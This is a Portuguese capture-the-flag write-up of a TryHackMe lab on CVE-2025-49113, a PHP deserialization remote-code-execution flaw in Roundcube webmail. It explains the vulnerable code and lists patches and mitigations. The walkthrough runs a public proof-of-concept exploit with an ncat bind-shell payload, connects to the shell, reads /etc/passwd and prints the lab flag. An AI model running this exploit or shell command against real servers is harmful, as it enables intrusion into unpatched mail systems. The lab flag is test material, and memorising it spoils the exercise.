
Explicação + Lab no THM
{{date}} {{time}}
Status: Completed
Lab: Easy
Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]
by KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script
Impacto: execução remota de comandos pós-login (CVSS 9.9)
Versões afetadas: ≤ 1.5.10 / 1.6.10
Patched: 1.5.11 e 1.6.11
| Data | Evento |
|---|---|
| ~2014 | Introdução da rota program/actions/settings/upload.php com uso de session->append() sem validação. |
| 03 jun 2025 | Pesquisadores da @FearsOff publicam o advisory e anunciam PoC. |
| 04 jun 2025 | Roundcube aplica commit 0376f69 (1.6-stable) e commit 7408f31 (1.5-lts). |
| 06 jun 2025 | PoC publicada no github . (fearsoff-org/CVE-2025-49113) |
| 10 jun 2025 | Exploração em massa. |
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … mais abaixo
$rcmail->session->append($type . '.files', $id, $attachment);
A entrada _from chega completa do GET dps vira parte do nome de um nó na sessão e
durante o primeiro append(), o Roundcube faz:
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … mais abaixo
$rcmail->session->append($type . '.files', $id, $attachment);
Se o arquivo existir, o RCE funcionou.
Atualize imediatamente para ≥ 1.6.11 ou ≥ 1.5.11.
Cao nao consiga atualizar, bloqueie qualquer _from contendo %22, %7C, !, . ou bytes de controle via WAF, firewall ou rewrite.
Desative funções perigosas (proc_open, exec, etc.) em php.ini.
Bloqueie uploads no painel de configurações e monitore logs.
Free Room: https://tryhackme.com/room/roundcubecve202549113
Created by tryhackme & strategos
Abrir a VM (MACHINE_IP) e o AttackBox.
Acessar http://MACHINE_IP/roundcube com:
usuário: ellieptic
senha: ChangeMe123
Isso vai funcionar e vai logar normalmente:

Após verificar que está tudo up, vamos executar o exploit, para isso vamos acessar a PoC postada no github informada anteriormente e fazer um gitclone:
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

O uso do payload é simples, basta criar o bind shell e apontar para uma porta com o file .php seguindo o usage abaixo:
php CVE-2025-49113.php <site> <user> <senha> "<bind shell>"
php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"
– O script faz login, injeta o objeto PHP malicioso no parâmetro _from, conforme falamos anteriormente, chama o endpoint upload.php e depois força logout para disparar
session_decode() → unserialize() → proc_open().
Às vezes ele mostra erro de CSRF; ignore e siga para o próximo passo,
porque o comando costuma ter sido executado mesmo assim.

Se a bind shell deu certo, ela ta escutando na porta 1337 que passamos, so fazermos a conexão nela agora:
nc MACHINE_IP 1337
Shell obtida.

BytePara resolver essa questão podiamos dar um cat em /etc/passwd grepando o usuário da maggie, ou simplesmente dando um lsem /home

/etc?THM{ICE_CUBE_DESERIALISATION}Para resolver isso, dei um cat /etc/flag* e por sorte o nome do arquivo era flag e com isso conseguimos capturar.

Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
FearsOff write-up – https://fearsoff.org/research/roundcube
OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com
TryHackme - TryHackMe | Roundcube: CVE-2025-49113
GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com